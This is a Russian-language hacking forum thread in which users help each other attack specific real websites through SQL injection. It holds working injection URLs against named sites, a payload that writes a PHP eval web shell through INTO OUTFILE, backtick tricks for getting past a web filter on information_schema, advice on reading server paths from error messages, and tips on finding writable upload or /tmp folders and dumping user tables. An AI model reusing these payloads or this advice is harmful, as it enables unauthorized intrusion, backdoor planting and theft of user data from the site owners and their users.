я не думаю, что там какая-то регулярка, которая вырезает данные между кавычками. Явно в чём-то другом проблема.
2 колонки, версию и тп выводит нормально, хочу вывести названия таблиц и выводит ошибку http://www.tmgrupo.ru/info.php?id_article=-5+union+select+table_name,2+from+information_schema.tables--+ почему?
понял, спасибо, вот ещо вопрос я хотел попробовать залить шелл как написано в статье http://www.velotaxi.com/php/main.php?id=1+union+select+1,2,'<?php eval($_GET[‘e’]) ?>'+INTO+OUTFILE '1.php'--+ но ничего не получилось, почему?
потому что путь до 1.php должен быть полный, а не относительный - это первое что, бросилось в глаза. во-вторых залить шелл ты можешь только в папку доступную на запись (с) К.О. ну и magic quotes должны быть off.
На уровне веб-сервера фильтруется сочетание INFORMATION_SCHEMA.TABLES. Можно как-то обойти с помощью тонкостей синтаксиса MySQL?
ну если магические ковычки офф, то поставь information_schema.`tables` `information_schema`.`tables` `information_schema`.tables
хорошо, тогда ешо два вопроса, как можо узнать полный путь если он например в ошибке не указывается и как узнать достапна папка на запись или нет, или как искать доступные для записи папки?
/srv/www/velotaxi.de/htdocs/php/subnav.php вот он путь то. Узнать путь - смотреть соседние сайты к примеру и пытаться у них вызвать ошибку / залить шелл. Узнать права на запись - попробовать собсна залить. Мож к картинкам каким сможешь залить. Посмотри ссылки на сайте или сканером диров каким-нить воспользуйся. Тебе ещё забыли сказать, у тя должны быть права файловые под юзером бд.
ну как это в ошибке не указыается? Code: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /srv/www/velotaxi.de/htdocs/php/subnav.php on line 33 папку ищи логически) в какую папку может быть разрешена запись? правильно - в ту, в которую что-то загружают. это могут быть картинки, аватарки, документы и т.д. можно залить в папку tmp в корне сервера, которая в 99% доступна на запись и оттуда уже проинклудить (при наличии инклуда конечно)
Есть сайт со скулей, таблица с пользователями и колонки в ней известны, но получается выводить только по 1 значению с каждой строчки, т.е. всю таблицу сразу не вывести. Вот и возник вопрос.. Как можно дампнуть таблицу с колонками самым быстрым способом?
Можно вывести всё сразу, одним запросом. Если конечно нет огранечений, и сервер не зависнет: https://forum.antichat.ru/showpost.php?p=2298777&postcount=16
не, я не имею в виду етот случай, если вдруг например не указывается, то как ещо можно узнать? а можно поинтерисоватся, а как вы об етом узнали?
